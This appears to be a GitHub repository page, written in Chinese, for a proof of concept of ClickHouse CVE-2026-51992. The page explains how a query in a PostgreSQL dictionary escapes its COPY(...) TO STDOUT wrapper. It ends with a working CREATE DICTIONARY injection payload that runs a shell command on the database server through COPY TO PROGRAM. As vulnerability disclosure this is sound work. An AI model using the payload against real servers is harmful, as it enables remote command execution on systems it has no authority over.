TheLiimbo/CVE-2026-51992
GitHub: TheLiimbo/CVE-2026-51992
该项目是 ClickHouse CVE-2026-51992 的概念验证,演示了通过 PostgreSQL 字典查询中的 SQL 注入实现远程命令执行。
Stars: 0 | Forks: 0
# CVE-2026-51992
在 ClickHouse 中,存在一项功能,允许拥有正确权限的用户创建字典,以便与不同的数据库进行交互并对它们运行特定的查询。对于 PostgreSQL,SELECT 查询在数据库上执行之前,会被包装在 `COPY( {QUERY} ) TO STDOUT` 语句中。通过在创建的字典中添加一个括号,就可以跳出 `COPY( {QUERY} ) TO STDOUT` 语句并运行任意 SQL 语句,进而可能导致在数据库服务器上执行任意命令。
# 详情
PostgreSQL 字典使用以下结构创建:
```
SOURCE(POSTGRESQL(
port 5432
host 'postgresql-hostname'
user 'postgres_user'
password 'postgres_password'
db 'db_name'
table 'table_name'
replica(host 'example01-1' port 5432 priority 1)
replica(host 'example01-2' port 5432 priority 2)
where 'id=10'
invalidate_query 'SQL_QUERY'
query 'SELECT id, value_1, value_2 FROM db_name.table_name'
))
```
字典中使用的 PostgreSQL 引擎的[文档](https://clickhouse.com/docs/engines/table-engines/integrations/postgresql)中提到了以下内容:
由于在发送到 Postgres 实例之前,没有对字典中定义的查询进行额外的验证,因此可以通过在查询开头加上一个“)”来跳出 "COPY(...) TO STDOUT",从而创建一个非只读的事务。例如,可以在 ClickHouse 中使用以下查询来创建一个“恶意”的 Postgres 字典:
`CREATE DICTIONARY exec_dict(id UInt64, value UInt64 DEFAULT 0) PRIMARY KEY id SOURCE(POSTGRESQL(port 5432 host '172.17.0.3' user 'postgres' password 'password' db 'postgres' query 'SELECT 1) TO PROGRAM \'id>/tmp/test\';-- ')) LAYOUT(DIRECT())`
标签:CISA项目, ClickHouse, PoC, PostgreSQL, RCE漏洞, 多线程, 暴力破解, 测试用例